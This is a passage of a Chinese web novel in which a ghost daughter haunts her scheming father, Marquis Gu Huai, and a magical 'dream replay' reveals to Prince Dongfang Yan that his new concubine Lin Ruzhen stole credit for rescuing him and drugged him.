“住口!”顾淮呵斥道,“你母亲不是那种人。你若敢在外胡言乱语,败坏家族名声,本侯绝不饶你!”
“我母亲早**,被你活活的气**!”
“住口!来人,把小姐送回尚书府,无故不准再回顾家!”
从母亲死的那一刻,顾念雪就知道自己再没有了家,只是当父亲说出那句绝情的话时,心为什么还会这样痛?
那些年的父女情深,都是假的吗?
瞒珊学步之时,他一脸紧张地护在自己身边。
当自己不小心摔了,他心疼又自责,一个劲地哄着:“心肝宝贝不哭,是爹爹不好,爹爹该打!”
那些是假的吗?
三岁时,父亲把她架在脖子上,去摘树上的果子。
娘亲在后面喊着:“小心些,别摔了!”
果子摘下后,她高兴地分给爹爹一个、娘亲一个,最后一个小的留给自己。
果子的味道真甜啊,至今难忘。
那些是假的吗?
弟弟出生后,她担忧地问:“爹爹,有了弟弟你会不会不喜欢念雪了?”
父亲笑着将她搂在怀里:“不论什么时候,念雪都是爹爹最疼爱的嫡长女。”
当时的笑,也都是假的吗?
如果连血缘亲情都不可靠,人心又是多么的黑暗?
如今的绝情,和过往的温情交织在一起,真真假假,叫她分不清、辨不明。
终于,她疯了。
有时,她痴痴傻傻,逢人就喊:“爹爹,我们去摘果果。摘果果,娘一个、爹一个,最后一个给宝宝!”
好像她的记忆停留在了儿时,父母双全,爹爹宠爱的时候。
有时,她又突然清醒,喊着:“念安,念安!姐姐来救你了,姐姐不会让你死!来人,去救公子,快去!”
方尚书也早就腻味了她,把她关在后宅,不准外出,免得丢人。
虽然清醒的时间只是短暂的,可她依然没有忘记弟弟。
她把自己所有的钱财都拿出来,交给信任的嬷嬷和丫鬟,让她们去找人。
嬷嬷哭着说:“小姐,你给自己留点防身钱吧,顾家不管你了,姑爷也不是个好东西。你又没有子嗣傍身,以后可以怎么办?那么久了都没找到人,公子他……他八成是没了!”
顾念雪却不肯:“没有找到尸体怎么能说人**呢?他没有死,我昨晚梦到他让我去救他!银票给你,首饰也给你,都拿去!都拿去!找到念安,一定要找到他!”
再后来,方尚
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书获罪,罢官流放。
顾念雪被接回顾家的时候,整个人都廋得脱相了,连顾淮都差点没认出她来。
可女儿凄惨的样子,依然没能换回他丝毫的怜惜。他接回顾念雪,帮她和婆家斩断关系,只是怕会牵连自己的清誉而已!
真可笑啊!做了那么多龌龊勾当的人,最在意的却是清誉!
好在上天眷顾,就在前段时间,顾念雪居然真的找到了弟弟。顾念安竟真的没有死!
原来,当年他被人所救,只是又被坏人远远地卖掉。
大山深处,他逃跑了几次都被抓回去,然后在一次次的虐打中,渐渐学会服软和蛰伏。
直到后来长大了,有了力气和机会,他才终于逃出了火坑。
只是他身无分文,靠着沿路乞讨,走了两三年才终于走到京城……
姐弟俩私下见了面。
顾念安看到姐姐,回想起小时候的诸多事情,姐弟俩抱头痛哭。
大概是因为弟弟的出现,让她重燃了希望,疯症也减轻了许多。
她知道那顾家是**的地方,顾淮只重利益不重亲情,更何况他现在也不缺儿子。顾念安回了顾府,肯定又会被人算计。与其在那种狼窝里周旋,还不如姐弟俩一起离开。
于是,顾念雪没有把弟弟的事,告诉给顾家的其他人。她继续装疯,越发让顾家人的厌烦,后来又对外宣称,看上了一个家奴,要与之私奔。
惹得顾淮大怒,最终将这疯女儿赶出家门,约定老死不相往来。
这些年,她被当成交换利益的筹码,见惯了那些人丑恶的嘴脸。什么士族、什么寒门,但凡有人的地方,就没有干净的!
她厌了、倦了,不想再被当做棋子,只想带着弟弟远走他乡,过太平的日子。
可惜,树欲静而风不平。
就在几天前,顾淮外出挑选今年的贡茶,数日未归。
顾念雪寻思着那人不在家,正好可以去拿一下母亲的遗物,结果却撞到郭氏和顾管家的**,甚至连郭氏的儿子也是管家的种!
郭氏怕顾念雪把**捅到顾淮那里,于是一狠心就**。勒**顾念雪后,又将其伪装成了上吊的样子。
等顾念安回来后,正好目睹了他们将顾念雪的尸体伪装上吊的事情。
第67章 本座,一向睚眦必报
“动手!”
一声令下,身边的护卫挥舞着刀剑而上。
他有钱,所以圈养的护卫个个都是能以一敌十个的顶尖高手。
“小心!”顾念安察觉到身后的声响,回首间就见刀光剑影汹涌而来。他心急如焚,想要挣脱林倾月和那些人厮杀。
可那撑红伞,拽着自己的黑裙女子着实古怪,命在旦夕,却仍波澜不惊,头也未回。
就在十几把刀剑即将落下之时,她忽然旋身将顾念安往旁一推,绯红油纸伞如惊鸿掠影般抛向半空。
她的指尖则顺着伞柄暗格轻挑,抽出一柄薄若蝉翼的剑,银芒乍现间似有流萤碎光。
“唰唰!”几道清洌剑光在夜色中闪过——
举刀的护卫们仍维持着劈砍的姿态,却突然像泥塑木雕般呆立不动。唯有颈间肌肤裂开一线极细的伤痕。
未几,“扑通”声此起彼伏,那些僵呆立不动的身躯次第倾倒,刀刃坠地溅起细碎尘埃。
这时,红色油纸伞才悠悠旋落,恰好收住剑身寒光,与伞柄严丝合缝。
顾念安惊呆了,顾淮也惊呆了。
几息过后,顾淮才踉跄着退后半步,颤声怒斥:“你……你身为朝廷命官,居然敢滥杀无辜!”
“无辜?”红伞女子幽幽回身,指尖摩挲着伞骨轻笑,“怎么,只许他们刀锋向我,不许我以血还血?顾淮——”
她忽然抬眼,眸中寒芒骤现,“本座,一向睚眦必报。你方才下令护卫取我性命,此刻——”
她步履优雅,步步逼近。
顾淮踉跄后退时脚跟一崴,跌坐于地,冷汗透衣,狼狈至极。
“林副使你……你别乱来!本侯,本侯乃文商侯,大齐的皇商、首富!不是身份地位的贱民!杀了我,你也要偿命!”
“可是你刚才,行刺朝廷命官!哦,若你觉得本官区区从五品的官身,不够分量的话……”她的唇边勾起一抹冷笑,“长宁侯府嫡女、晋王妃呢?**当朝王妃的大罪,你可担得起?”
顾淮惊诧万分:“什么?你,你是晋王妃?晋王妃怎么会……怎么会……”
怎么会出来抛头露面,做这种超度阴魂的脏活?
说起来,都得怪东方宴嫌弃林倾月玄镜司的职务丢面子,下令**息。
因此,哪怕她前几天才因为母子双煞的案子,在郑家公然露面。可知道她**的人还是寥寥无几。
像顾淮这种空头侯爵,更是不可能知道内情,也一直把林倾月当成个普通的小官,这才敢对她动手。
万万没想到,踢到了最硬的铁板。
反应过来之后,他赶忙跪下求饶:“晋王妃恕罪,在下不知您身份,差点误伤。王妃您大人不记小人过。莫与我这混账计较!顾念安,你要带走就带走,想怎么处置就怎么处置!”
为了让林倾月消气,他甚至开始狂扇自己的耳光。
先前他多么张狂,此刻为了活命就有多么的卑微。
“呸!你真无耻!”顾念安骂了一声后,对林倾月道,“你放了我,让我去杀了这个混蛋,给我姐和我娘报仇!”
林倾月挥了挥手,顾念安身上的绳索就全断了。
他面色一喜,捡起地上的刀,正要朝顾淮杀去,却被一道虚影给拦住了。
“姐姐,你为什么拦着我?”
顾念雪缓慢地摇了摇头,“别杀他。”
一看到姐姐的鬼魂,这冲动莽撞少年的脸上就溢满了悲伤之色,“姐姐,他害得你这么惨,为什么你还要阻止我杀他?”
“因为……”顾念雪声音幽凉,语速缓慢,“你的手上不能沾血。”
“可是昨晚我已经……”
“那不是你!”顾念雪打断了他的话,一字一顿地道,“报仇的是我,**的也是我!”
“姐姐……”顾念安愣了一瞬,反应过来时已泪流满面。
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他的长姐啊,哪怕变成了鬼魂,也在努力地护着自己,替自己顶罪!
顾念雪慢慢地转过头看向林倾月,苍白的脸上露出恳求之色:“我愿意离去,不再怨恨。我弟弟是好孩子,不要抓她。”
她此刻思绪其实还很乱,可也还依稀记得**偿命,尤其是杀害亲友长辈,更会罪加一等。
而保护弟弟,替弟弟顶罪,都只是下意识想做的事。
林倾月唇边噙着一抹轻笑:“玄镜司只负责度化鬼魂,护卫一方安危。至于那些人命案子,不归本官所管。”
顾念雪飘到顾淮面前,温温柔柔地唤了一声:“爹。”
却让顾淮吓得浑身一抖,“啊?”
此刻,顾念雪的思绪仿佛更加清晰了些,说话的语调也和生前一样:“爹爹,念安是你的嫡长子,还望您念在血脉之情的份上,莫要怪他之前的莽撞。”
顾淮此刻为了活命,哪里还敢有其他念头,赶忙道:“只要他不再仇视爹爹,爹爹当然也不会害他。虎毒还不食子呢!”
顾念雪似乎很轻易就相信了他,转头又对顾念安叮嘱:“跟爹回顾家。”
“姐姐,你为什么要让我回顾家?那里没有娘,也没有你,那根本就不是我的家了!呜呜……姐姐,我好想你和娘都回来,好想我们一家能回到从前!”
“从前啊……”她悠悠地叹息,“回不去了。可你还是要回去,因为那也是娘留给你的家啊。你得拿回属于我们的东西!”
她伸手,虚虚地抚着弟弟流泪的脸庞:“念安一向最乖,最听话。最后,再听一次姐姐的话吧。好不好?”
“好!好!”他哽咽着答应,双手伸出,小心翼翼地环住了顾念雪的瘦瘦小小的魂魄。
“姐姐你看,念安现在比你都高了。可以让你依靠了,不再像小时候那样弱小无能了。姐姐,别走好吗?只要你不走,你说什么我都答应。”
第68章 她,又回来了
“念安,念安……”耳边的低喃声越来越小,拥在怀里的灵魂也化作了点点碎光,消失不见。
“姐姐……”顾念安跪倒在地,泣不成声。
谁说这世间没有亲情?
只是算计和欲望占据了高峰,坏了血脉温热,碎了心底牵绊。
“走吧,本官顺道送你回家。”林倾月面色淡淡,甚至唇边还带着习惯性的痞笑。那些生离死别在她眼里,似乎都不值一提。
路上,她告诉顾淮:“本官饶你不死,只是因为顾念雪。顾念安是她最后的牵挂,你好好待他,尽早让他认祖归宗,了却顾念雪的牵挂。”
“好,好!本侯回去之后就择吉日,召来族中的长老,让念安认祖归宗……”
“不必择日,天亮之后就是最好的日子。”
“是是!回去之后,立刻就办,天亮就办!王妃放心,念安是本侯唯一的嫡子,本侯一定不会亏待他。将来顾家的家业,也统统都要交给他。”
顾淮答应得痛快,嘴上全是好话。
林倾月只把人送到了顾家大门外,就停住了脚步:“天亮之后,我要听到顾念安认祖归宗的消息。”
说完,她转身离去。
她一走,笼了顾淮一路的压迫感顿时消失了。
顾淮的腰挺了起来,眼神里也逐渐凌厉起来。
“念安。”他淡淡地喊了顾淮一声。
顾念安冷冷瞥了他一眼,然后大步跨入顾家大门。
——姐姐说得没错,顾家的一切娘也有份。我不能便宜别人,要把属于我们的一切都夺回来!
顾淮眼眸深深,心机沉沉。
刚才,顾念安眼底的恨,他看得一清二楚,这个儿子是万万指望不上了。
只是当着林倾月的面,他不好再表露出任何不满。
但晋王妃不可能天天盯着他们顾家不放,等过些时候关注少了,他就会另外扶持庶子。
待时机成熟,再把顾念安除掉。
顾淮可不想在身边,留下一把随时会要自己命的凶器!
哪怕是亲生的儿子,只要威胁到自己,都要除掉。
可笑顾念雪,总归是随看她母亲的软弱性子。居然还相信亲情,让顾念安认祖归宗?
当天晚上,顾淮就派人去打听并验证了林倾月的身份。
确定她真是晋王妃之后,就立刻通知家中的长辈,天一亮便举行了隆重的认亲仪式。
白天当着众人的面,顾淮声声泣泪,述说着这些年的失子之痛,还口口声声地承诺以后顾家的一切都会留给顾念安作为补偿。
而顾念安被他恶心得一天没吃下饭。若不是亲眼所见,他怎么也不相信这世上居然这么擅长演戏的人。难怪当年整个顾家都被他给欺骗了!
当天晚上,顾淮回到自己的寝室,就吩咐心腹之人,从明日开始给顾念安的食物里添加**。
本来他还准备等一段时间再动手。
可顾念安那小子实在太不知道好歹了,今日一天都冷着个脸也就算了,居然还当着那些族老的面,痛斥顾淮逼疯女儿,害死骨肉,让他颜面扫地。
顾念安不能再留,否则说不定什么时候,他就要弄死自己了!
于是顾淮想到自己之前重金寻到的一味**。那药服用之后会让人慢慢乏力,失去行动能力,半年之后油尽灯枯而死。
而这种药最好的地方在于,死者呈现出病死的症状,不会被怀疑他杀。
这一招,他当初对自己的发妻也用过。
如今,又准备用来对付自己的亲生儿子。
“虎毒不食?”他冷冷一笑,“那一定是只病猫!”
“就算没了嫡子又如何?本侯还能再取填房、再谋贵女!本侯才五十,还有生育能力,再生几个嫡子又有什么难的?这世上,就没有权和财换不来的东西!”
“侯爷,今日召哪位夫人侍寝?”手下人用托盘呈送上一本美人画册,供其挑选。
画册上的美人都是他纳的小妾,人数太多根本顾不过来。于是让人绘成画册,他每晚入睡前看画选人。
“这个。”他翻了几页,就选中了最年轻的一位。
不多久,美人送到。
这位美人,原本已经被冷落半年多,今日突然被点简直欣喜若狂。
可须臾之后,顾淮就像死鱼一样趴着喘气。
美人:“……”<
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br>顾淮不经意地回眸,就看到美人眼里流露出的失望和蔑视,顿时大怒:“**,你居然还敢嫌弃本侯?滚出去!”
美人被赶出去后,顾淮忍不住闷声自问:“本侯真的老了吗?”
就在这时,忽然听到外面传来:“砰砰砰”的敲门声。
“不然让你滚了吗?”
没有人回答,只有“砰砰砰”的声音,在寂静的午夜格外沉闷。
“谁?”顾淮感觉有点不对劲。
“砰砰砰!”敲门的声音愈来愈大。
“到底是谁!”
顾淮正想去开门,忽然反应过来。
不对劲!门外应该有人守着,不管谁要进来,也该先通传才对。更何况此刻已经夜深,不会有人再来找他才是。
若门外不是人的话,难道是……
他被这个念头吓了一跳,一颗心砰砰乱跳。
想要张口呼救,喉咙却似被堵住了般怎么都喊不出声。
他又挣扎着要去点灯,可浑身无力,连指尖都动弹不得。
唯一能动的,只有一双眼睛。
白绫垂下,落在他脸上酥酥麻麻。
他用尽全身力气将目光上移,就见床顶横梁垂落的白绫末端,悬着个晃荡的人影。层层叠叠的白裙无风自动,腐臭的气息混着浓郁的血腥味扑鼻而来。
那人影突然垂首,没有瞳孔的眼与他四目相对。鲜红的嘴角裂到耳根,挤出个僵硬的笑。
“爹爹——”
尾音拖得又细又长,带着阴冷的气息。
这曾最熟悉的呼唤,此刻却让他寒毛倒竖,浑身僵冷。
顾念雪!
不是已经走了吗?
他亲眼看到她的魂魄在眼前消失,怎么又出来了?
“爹爹——”
悬挂在白绫上的鬼魂消失,儿时的顾念雪从被褥里探出了一颗小小的脑袋,眼眸空洞无光,僵硬的笑容在惨白的脸上荡开。
“爹爹,我们回到小时候好吗?”女童的声音如露水般清甜,仿佛将时光拉回了过去。
“宝宝要摘果果,树太高够不着!爹爹,爹爹,快起来驮宝宝摘果果!”
“摘果果,我们去摘果果!”
第70章 纳妾给谁看?
这密旨是前几天林倾月去宫里见齐昭帝的时候,齐昭帝亲笔所书,又亲自盖章。
本来林倾月早就要给谢守正,但因为顾家的事给耽误了下,就拖到了现在。
主要的内容就是让谢守正跟随林倾月一起去往赤影之地,为太子搜魂,不过关于小花的事情没有说,反正不是重点。
本来齐昭帝的意思是希望林倾月能多带些人手。但林倾月觉得没必要,去的人太多了,一来扎眼,二来没什么用。
可若是一个人都不带,齐昭帝肯定又不放心,所以她就点了谢守正的兵。
谢守正看完后,激动得手都抖了起来:“太子殿下……殿下有救了?太好了,太好了!”
他急切地问林倾月:“我们什么时候出发?”
林倾月早有计划:“明天晚上。趁着还有时间,你安排好玄镜司里的事务。此事关系重大,不可泄露出去。”
“绝不会泄露!”谢守正小事上离谱,大事却分得很清,立刻就把密诏给烧掉了。
忽然他又想起了什么,转过身来道:“对了,明天晚上不是晋王殿下纳妾之日?他纳妾,林副使你这正妻却离京公干。关键公干的事情,暂时不能传出去。这传出去岂不成了你宠妾灭妻?”
林倾月微微一笑:“宠妾灭妻?那就把‘宠’给拿掉,看她有什么本事闹腾。”
东方宴原本只是想简单办个纳妾的仪式——庶妃,就等于小妾。
可这两天,林倾月每天早出晚归,对他不闻不问,让他感觉十分恼火。
她是在无声的**自己纳妾吗?既然不喜欢,为什么就不知道过来跟自己服个软?
女人,难道不应该多哄着夫君吗?
东方宴觉得不能继续这么惯着林倾月,得让她知道自己这个夫君的重要性。
他想起,当初和林倾月洞房花烛也那晚,自己冷着脸暗示林倾月,正妻的位置以后要留给林如珍。
那时的林倾月还知道低眉顺眼,而不是像后来那样一开口就夹枪带棒。
思来想去,他决定让林倾月再感受一下地位受到威胁的感觉,也好学会讨夫君欢心。
于是,他特意提高了纳庶妃的规格,不仅给林如珍送了很多的聘礼,刚还亲自迎接。
当天,他又特意让赵安通知林倾月出席仪式。
林倾月白天在玄镜司把离京之后的事情给安排妥帖。
收到东方宴的通知后,她手上的事情正好安排好了,便回了晋王府,准备给新人送一份惊喜大礼。
华灯初上,晋王府张灯结彩,宾客——倒是没请。但是仪仗队声势浩大,显出对新人的重视。
东方宴穿着大红色的婚服,看起来人模狗样的,正蹲……站在大门口迎亲。
庶妃不是正妻,按理是不需要他亲自出来迎的,可他为了彰显对林如珍的重视,特意出来亲迎。
林倾月刚下马,花轿就正好来了,巧得有点过分。
事实上,半个时辰前花轿就该到了。
但那时,林倾月还没回来,东方宴吩咐:“吉时未到,先拐去旁边巷子里转一圈再来。”
结果,一转就是几十圈,硬是把轿夫累成了狗,纷纷嚷着:“吉时什么时候到?转了那么多圈了,必须得加钱!”
娇子里的林如珍也不好过,她为了维持妆容的美丽和口气清新,一天粒米未进,又颠簸那么久,人都要虚脱了。
她忍不住问喜婆:“怎么还不到王府?”
喜婆也不知道晋王殿下在发什么癫,明明吉时都过去了,非说没到时辰,害得自己一把年纪了跟着娇子走了那么多久,腿都要断了。
可晋王府大方,给的钱多,所以她心里再不满,此刻也能想办法安抚好新娘:“晋王殿下特意为您挑选了新的吉时,您再等等,马上就到了。”
林如珍一听又高兴起来了:“殿下居然还亲自为我挑选吉时,可见他心里还是最爱我的。就算只能当个庶妃,早晚也能把林倾月从正妃的位置拉下来!
毕竟自己可是从小在后宅长大
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,既懂得笼络人心,又深谙那些腌臜手段,还有王爷的宠爱。不出半年,整个王府后宅都会是我林如珍的天下!”
王府门前,赵安来报:“殿下,王妃的马已经到了前门大街,朝王府拐来了!”
东方宴立马就来了精神,赶忙吩咐:“吉时已至,可以迎亲了!”
在巷子里转了几十圈的林如珍终于被抬了过来,王府内的乐师时也在同一时间吹吹打打、热闹起来。
东方宴还刻意掐着点,亲自将林如珍背出花轿——这是当初林倾月都没享受到的待遇。
背上的人儿在耳边娇娇弱弱地唤了一声:“王爷——”
东方宴温柔地道:“珍儿,本王终于将你娶进门,愿你我白头偕老,一生顺遂!”
林如珍都快要感动哭了:“王爷,妾能嫁您,死而无憾!”
东方宴背着林如珍一转身,面露诧异:“林倾月,你何时回来的?一身黑衣,不加修饰,真是一点王妃的体面都没有!”
林倾月低头看了看自己的衣服,道:“确实有些不合适,要不你们再等等?我换身衣服?”
林如珍都饿得前胸贴后背了,巴不得早些进行仪式,好早进洞房。她正想说什么,却听东方宴道:“你快去更衣!”
林如珍:“……”
难道没有人关心一下她吗?不知道她这个新娘子一天没吃饭了吗?
“王爷,吉时已至,再耽误下去,怕会不吉利。”
“本王什么时候拜堂,什么时候就是吉时!”
林如珍:“……”
所以刚才她在巷子里绕了几十圈等吉时,是什么意思?
吉不吉时的,东方宴是真的不在意,反正就是纳个妾而已,不必讲究太多。
甚至,他今晚都没有宴请宾客,只办了一桌家宴。
而之所以不请宾客,倒不是东方宴舍不得破费,主要还是嫌弃林如珍出身太低,若不是念着当初的救命之恩,她根本不配和自己站在一起。当然也不必宣扬得人尽皆知。
第71章 新婚大礼
林如珍当然不会认为东方宴在轻视自己,而是把这一切都当成是林倾月在为难。
刚才肯定是林倾月买通了轿夫和喜婆,故意为难自己!她还故意在自己进门的时候去更衣,就是看不得自己嫁进王府!
对,一定是这样的!真是可恶!
如此,又过了一个多时辰,林如珍都快要饿晕了,林倾月才换好衣服姗姗来迟。
仪式正式开始,林倾月抢过了司仪的活,喊道:“一拜天地!”
东方宴本来都准备要拜了,可林倾月这么一喊,却莫名让他想到那晚河中心、小船上,和鬼新娘拜堂的情形。
心里莫名就膈应起来。
林倾月还在催促他:“拜堂啊?怎么不拜呀,这不是你心心念念想纳的女人吗?”
东方宴见林倾月非但没有吃醋,反而还满脸喜滋滋的,心里越发不是滋味。
林倾月,本王就看你要装到什么时候?
他一狠心,拜了下去。
“二拜高堂!”
高堂已经不在了,就对着父母的牌位拜了。
“夫妻对拜!”
东方宴又忍不住看了眼林倾月,但她依然没有什么过多的反应,心中忍不住犯起了嘀咕:“难道她就真的这么不在乎本王吗?还是在伪装,用笑容掩饰伤心?”
礼成之后,东方宴沉着脸坐在了林倾月身侧。
丫鬟呈上了茶水,司仪高喊:“林氏庶妃,给王妃敬茶!跪!”
林如珍不情不愿地跪下,双手捧茶递给林倾月:“姐姐,请喝茶!”
林倾月接过茶盏,稍稍抿了一口后,从怀里掏出一块银色的同心锁挂坠,送给了林如珍:
“祝妹妹和王爷,永结同心、白头偕老。这见面礼,不成敬意。”
这祝福是那么的真挚,好像真的为这对有情人能成眷属,会感到开心。
可那同心锁,居然是个银的……不对,色泽不正,连银的都不是。铁包银?
这是在侮辱谁呢?
就算她是庶妃,也不能这样羞辱人!
于是林如珍委屈巴巴地看向东方宴。东方宴正在喝茶,没注意这些细节。
林如珍接过铁包银的同心锁项链,装作欢喜地对东方宴道:“殿下您看,姐姐送了我新婚里面。是同心锁,看起来很精致呢!”
这样说才能显出自己的单纯善良,被人侮辱了也不知道。以此好对比出林倾月的恶毒和刻薄。
殿下一向心疼自己,肯定会给自己撑腰的。到时候我再从旁劝说,更能彰显自己的宽容大量。
谁知东方宴随便扫了一眼,没注意看那成色,还以为是个银的,随口道:“是不错,挺衬你的。”
一个小妾而已,林倾月居然还送她东西?算了,她们喜欢就行。
林如珍没得到想要的反应,满心失落:殿下还是太单纯了,不知道后宅女子钩心斗角的残酷。
“妹妹怎么愣住了,不喜欢姐姐的礼物吗?”林倾月笑盈盈地开口。
“喜……喜欢。”
“喜欢就戴上呀。”
林倾月说着,拿过林如珍的锁,亲自为她戴上,还笑眯眯地说:“不错,很衬你!”
“好了,现在可以入洞房了。”
林如珍被两个婢女搀扶着,送入洞房。
东方宴在离去之前,还深深地看了林倾月一眼。
原本还喧闹的大厅,伴随着众人的撤离,而突然变得安静起来。有风灌入其中,搅动廊下的彩绸。
林倾月一把扯下喜气洋洋的外衫,露出一贯的黑衣常服,头也不回地出了晋王府。
洞房内,东方宴依然是心不在焉。
她真的不在乎本王吗?还是本王做得太过分,让她彻底死心?可本王也只是想让她服个软而已啊,但凡她肯服软,本王都可以不入这洞房!
“王爷……”女子娇滴滴地呼唤,将他的思绪拉回。
东方宴决定先把林倾月放下,反正她是自己妻,这辈子都是,总不能跑了吧?明日再抽时间,和她敞开心扉地谈谈。
作为一个男人,东方宴就算心绪再乱,也很快就能恢复理智。
“珍儿。”他温柔地帮林如
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珍掀开红盖头,露出一张清丽脱俗的面孔来。
这张脸,曾经让他无比心动,只是如今却觉得不如林倾月来得漂亮。
林倾月是那种明艳大气的长相,往那一站就是艳冠群芳的存在。
而林如珍却是小家碧玉,清纯的五官,总是一副楚楚可怜的神情,能激起男人的保护欲。
“王爷,珍儿终于可以做您的女人了!”
楚楚可人的女子,小鸟依人般贴近男人的胸膛:“今晚真像做梦一般美好。王爷、王爷……”
美人在怀、软玉温言,刚刚找回的理智又消失了,他想:本王是王爷,明艳的美人、清纯的佳人,本王都要拥有!
“珍儿……”他轻柔地呼唤了一声,剥去美人的外衫,又要脱她的中衣时,手指从同心锁的挂坠上掠过,指尖顿时传来一股冰寒之感。
还不等他反应过来,就见一道金光闪过,林如珍两眼一翻,软软的倒在床上。
与此同时,她的上方浮现出一片画面的光影。
这是——溯梦回影!
东方宴和林倾月在一起这段时间,多次见到她使用溯梦回影的技能。
一开始,发动这项技能,还需要鲜血为引,可后来她好像随时随地都可以用这个技能。
现在她人不在,为什么还能使用这一招?难道是那个同心锁的缘故?
那个女人意欲何为?要让本王看什么?
伴随着林如珍的沉睡,过往的很多记忆以梦的形式重现,并被投影出来。
此刻,出现在东方宴眼前的画面,是一片被白雪覆盖的世界。
白茫茫的城头、白茫茫的树梢。
一辆奢华的马车,从路的尽头走来,滚滚车轮碾碎了一地的雪白。
忽然,马车停下,车窗里露出一个女子的俏脸——林如珍。
画面外的东方宴,露出一抹温柔的神色:“珍儿这是梦到了当日救本王时的情景。虽然她身份低微,但心地善良,是这世间难得一见的好女人。”
他的心软得一塌糊涂,迫不及待地往下看。
第72章 真相
顺着林如珍的目光看去,画面一转,就看到不远处的雪地上倒着一男一女两个人。
男的,便是当初的东方宴。
他的额头、身上都缠着纱裙撕成的绑带,人已经陷入了昏迷。伤势严重,看起来好像就快要**。
而他的身下——一个瘦小的人影,还得努力地背着背上的男人,艰难地往前爬着。
她苍白的脸、漆黑的瞳孔,没有血色的嘴唇在轻轻地颤抖着:“到城门口了,你再、再坚持下。我们就……就要……得救……马……马车……救……”
她总是再也支撑不住,也昏倒在雪地里。
前方的马车重新行驶,车里传出了主仆对话的声音:
“小姐,前面雪地有两个人昏倒了,我们要不要救人?”
“救什么救?那两个像死狗一样肮脏的人,怎配得上本小姐的香车宝马?”
“啊,那好像是大小姐林倾月!”
“林倾月?不是去寺庙里祈福,一夜未归吗?怎么跟个野男人躺在雪地里了?不用管她,冻**才好呢!”
眼看马车就要两人身边驶过,林如珍的目光,无意中地朝外一瞥,恰好瞥见了一面刚刚跌落出来的令牌。
令牌上,四爪**龙环绕着一个鲜红的“晋”字。那是皇族亲王才能用的图腾啊!
晋……他难道是晋王?
听说最近圣上召集各大王爷入京,所以那晋王应该是在快到京城的时候,**受伤倒在这里?
这样好的机缘,她怎么能错过呢?
想到这一点,林如珍大喜过望地喊道:“停车,救人!”
她让人把受伤昏迷的晋王抬上马车,还顺道把那令牌捡起来塞回对方的怀里。
当下人询问,是否要连同林倾月一起救回的时候。
林如珍的眼底落下一抹阴毒之色:“就让这**冻死在雪里,如此一来本小姐便是长宁侯府唯一的嫡女!”
马车带着受伤的东方宴一路往城门而去,雪地里只留下了那瘦瘦小小的少女。
到城门口的时候,林如珍还特意将车帘子掀开,大声地道:“晋王殿下受伤,性命危急,速速散开!”
车子飞快地穿过城门,一路向内城而去。
走到一半的时候,林如珍突发奇想地吩咐:“不要直接去晋王府,绕城一圈!把车帘掀得再大一点,要让所有人都看到本小姐的义举!”
丫鬟好心提醒:“可是他已经受了重伤,车帘全掀开了,会不会吹风着凉?”
林如珍道:“那就把被子全压上,冻不死就行!”
好不容易做件好事,怎么能藏着掖着?
就这样,吹了一路冷风,差点噶了的东方宴在城里绕了一大圈后,才被送回晋王府。
也是因为刀伤加上受寒,东方宴在床上昏迷了一个月才醒。
连太医都说他差点烧死,能捡回一条命,简直就是奇迹。
可笑他却将林如珍当成了救命恩人,大病初愈,就亲自带着重礼登门致谢,接着又对林如珍一见钟情。
当他离开侯府之后,恰好和林倾月擦肩而过。
那时的林倾月瘦骨嶙峋、脸色无光,穿的衣服也是灰扑扑的。他还以为是侯府里的丫鬟,鄙夷地扫了一眼后,便扬长离去。
而林倾月后知后觉的反应过来,自己的功劳被人给抢占了。
她拽着林如珍质问:“为什么救人的变成了你?你跟我去爹娘跟前说清楚,告诉他们是我救的晋王!我还高烧了三天三夜,差点死掉,怎么能把一切都变成是你的呢?”
林如珍一把甩开她的手,嗤笑:“你说你救了晋王,谁信啊?那天,守城门的卫兵亲眼看到我救人。满城的百姓,也看到晋王躺在我的马车上!而你,不过是嫉妒,所以就想抢夺我的功劳。爹娘也好,晋王也罢,没人会相信你!”
“你……”林倾月被气得说出去话来。
林如珍的笑容渐渐冷下,只有深深的怨恨:“林倾月,你为什么要回侯府来?你就该死在深山老林里!可就算你回来了,你的爹娘是我的,侯府千金的位置是我的!就连你救下的晋王也将会是我一人的!而你,什么也不配得到!”
得知了真相的东方宴满脸震惊:“怎么会这样?怎么会这样!
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”
若不是亲眼所见,若不是他知道溯梦里的一切都是真实场景的再现,他怎么也不敢相信,心目中温柔善良的珍儿,竟然是一个满口谎言、蛇蝎心肠、恶毒刻薄的冒牌货!
他又想起当日林倾月给林如珍下的“诚实咒”,忽然就明白了她的良苦用心!
林倾月是在提醒自己,认清骗子的嘴脸!
可惜……
他忍不住狠狠地扇了自己一个巴掌。
糊涂啊,本王怎会如此糊涂呢?
此刻,林如珍溯梦里的画面依然没有结束。
画面一转,到了长宁侯林霄举办生辰宴的那一日。
那天,贵为王爷的东方宴看在林如珍的份上,也亲自到场祝贺。可是后来却莫名其妙地被人下了**,不知怎么就睡着了。
等醒来后,就发现自己和林倾月衣衫不整,同处一室,而门外围满了人。
后来一道圣旨降下,他被迫娶了林倾月。
也是因为如此,他觉得颜面尽失,一直把这笔帐算得林倾月头上,认为他是抢自己妹妹姻缘,心肠恶毒的女人。
然后现在,他看到了什么?
画面里,林如珍亲手将掺了**的茶水递给丫鬟:“拿去给晋王殿下饮用!”
这一招把心腹丫鬟都给惊到了:“小姐,您这是做什么?”
“做什么?当然是尽早把生米煮成熟饭,好嫁入晋王府当王妃!”林如珍搅弄着手帕,满脸愤愤不平。
“晋王殿下口口声声说喜欢我,要娶我。可这么长时间了,他光知道动嘴,不见行动。我不能再等了,他现在是晋王,我已属高攀。再过不久,等他被立为太子,我这侯府嫡女怕是也配不上他了。所以本小姐要先发制人!”
等丫头走后,林如珍就坐在镜子前再三查看自己的妆容是否妥帖。
算算时间差不多了,她才出门,准备和东方宴见面,上演一场生米煮成熟饭的好戏。
为此,她特意没有带丫鬟在身边,免得碍事。
可还没走到垂花门前,大嫂柳婉清突然出现拦住了她的去路:“妹妹,你要去哪里?”
第73章 谎话连篇
此刻的柳婉清在侯府被公婆、丈夫欺负得死死的,林如珍也对她很不客气。
“去哪里关你什么事?不会下蛋的母鸡,滚开!”
柳婉清眼中闪过一抹痛色,却还勉强地笑着:“嫂嫂只是看你的裙子上沾染了污渍,所以好心来提醒一下。”
“啊,裙子脏了?”这怎么可以呢?
于是她赶忙低头查看:“在哪里,在哪里?”
“在后面。”柳婉清帮她撩开后面的裙摆,原本干净的粉裙,被柳婉清的手巴拉几下,就落下了一条条的污渍。
柳婉清是受林倾月所托,帮她拖住林如珍一段时间,好有机会去见东方宴,把之前救人的事情给解释清楚。
家里没有一个人肯相信林倾月的话,只有柳婉清信她、帮她。
